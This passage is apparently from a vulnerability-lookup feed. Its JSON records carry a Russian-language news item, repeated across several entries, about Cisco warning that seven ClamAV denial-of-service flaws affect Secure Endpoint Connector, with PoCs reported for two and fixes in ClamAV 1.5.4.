\u044d\u0442\u0438\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f ClamAV \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041d\u0430 macOS \u0438 Linux \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0440\u0438\u0441\u043a \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f ClamAV \u043d\u0430 \u043d\u0438\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0441 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Secure Endpoint Private Cloud, \u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u041f\u041e Secure Endpoint Connector, \u0442\u0430\u043a \u0447\u0442\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (\u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0432 \u0441\u043e\u0441\u0442\u0430\u0432 Secure Endpoint Private Cloud \u0432\u0435\u0440\u0441\u0438\u0439 4.2.8 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445) \u0438\u0437 \u043e\u0431\u043b\u0430\u043a\u0430 \u043d\u0430 \u0441\u0432\u043e\u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u044d\u0442\u043e \u043f\u043e\u043a\u0430, \u0431\u0443\u0434\u0435\u043c \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2026-08-14T00:00:09.339386Z"}, {"uuid": "f93e3a70-b9aa-4472-9210-2856ea938b82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20358", "type": "published-proof-of-concept", "source": "Telegram/b2UszBlL6pwI-lPO-fDfPtw13spnzDLEe20NOMPsyVWZxGY", "content": "", "creation_timestamp": "2026-08-21T00:00:09.791172Z"}, {"uuid": "4a9cb4f4-e60f-4695-a04f-3d6585400d62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20339", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/8496", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0435\u0435 Secure Endpoint Connector \u0434\u043b\u044f Windows, macOS \u0438 Linux \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0441\u0435\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c ClamAV, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a DoS, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 PoC.\n\nClamAV (Clam AntiVirus) - \u044d\u0442\u043e \u043a\u0440\u043e\u0441\u0441\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u0442\u043e\u0447\u043d\u044b\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043a\u0430\u043d\u0435\u0440, \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-20337\u2013CVE-2026-20339 \u0438 CVE-2026-20345\u2013CVE-2026-20348 \u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u043f\u0430\u0440\u0441\u0435\u0440\u0430\u0445 ClamAV \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432 ZIP, GPT, PESpin, PDF, Mach-O \u0438 XAR.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u044b\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 ClamAV 1.5.4, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 WinRAR \u0434\u043b\u044f Windows, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0433\u043b\u0430 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0412\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a ClamAV \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, Cisco \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u0432\u044b\u0445\u043e\u0434\u0435 PoC, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 CVE-2026-20337 \u0438 CVE-2026-20338.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Secure Endpoint Connector \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0440\u0438\u0441\u043a \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Windows, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0430 \u044d\u0442\u0438\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f ClamAV \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041d\u0430 macOS \u0438 Linux \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0440\u0438\u0441\u043a \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f ClamAV \u043d\u0430 \u043d\u0438\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0441 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Secure Endpoint Private Cloud, \u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u041f\u041e Secure Endpoint Connector, \u0442\u0430\u043a \u0447\u0442\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (\u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0432 \u0441\u043e\u0441\u0442\u0430\u0432 Secure Endpoint Private Cloud \u0432\u0435\u0440\u0441\u0438\u0439 4.2.8 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445) \u0438\u0437 \u043e\u0431\u043b\u0430\u043a\u0430 \u043d\u0430 \u0441\u0432\u043e\u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u044d\u0442\u043e \u043f\u043e\u043a\u0430, \u0431\u0443\u0434\u0435\u043c \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2026-08-14T00:00:09.402649Z"}, {"uuid": "8bef7a09-575f-4015-9a08-c23a4fcf8251", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20337", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/8496", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0435\u0435 Secure Endpoint Connector \u0434\u043b\u044f Windows, macOS \u0438 Linux \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0441\u0435\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c ClamAV, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a DoS, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 PoC.\n\nClamAV (Clam AntiVirus) - \u044d\u0442\u043e \u043a\u0440\u043e\u0441\u0441\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u0442\u043e\u0447\u043d\u044b\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043a\u0430\u043d\u0435\u0440, \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-20337\u2013CVE-2026-20339 \u0438 CVE-2026-20345\u2013CVE-2026-20348 \u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u043f\u0430\u0440\u0441\u0435\u0440\u0430\u0445 ClamAV \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432 ZIP, GPT, PESpin, PDF, Mach-O \u0438 XAR.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u044b\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 ClamAV 1.5.4, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 WinRAR \u0434\u043b\u044f Windows, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0433\u043b\u0430 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0412\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a ClamAV \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, Cisco \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u0432\u044b\u0445\u043e\u0434\u0435 PoC, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 CVE-2026-20337 \u0438 CVE-2026-20338.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Secure Endpoint Connector \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0440\u0438\u0441\u043a \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Windows, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0430 \u044d\u0442\u0438\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f ClamAV \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041d\u0430 macOS \u0438 Linux \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0440\u0438\u0441\u043a \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f ClamAV \u043d\u0430 \u043d\u0438\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0441 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Secure Endpoint Private Cloud, \u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u041f\u041e Secure Endpoint Connector, \u0442\u0430\u043a \u0447\u0442\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (\u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0432 \u0441\u043e\u0441\u0442\u0430\u0432 Secure Endpoint Private Cloud \u0432\u0435\u0440\u0441\u0438\u0439 4.2.8 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445) \u0438\u0437 \u043e\u0431\u043b\u0430\u043a\u0430 \u043d\u0430 \u0441\u0432\u043e\u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u044d\u0442\u043e \u043f\u043e\u043a\u0430, \u0431\u0443\u0434\u0435\u043c \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2026-08-14T00:00:09.479913Z"}, {"uuid": "755ca252-29fd-43bd-9b97-0c3c94df0359", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20345", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/8496", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0435\u0435 Secure Endpoint Connector \u0434\u043b\u044f Windows, macOS \u0438 Linux \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0441\u0435\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c ClamAV, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a DoS, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 PoC.\n\nClamAV (Clam AntiVirus) - \u044d\u0442\u043e \u043a\u0440\u043e\u0441\u0441\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c 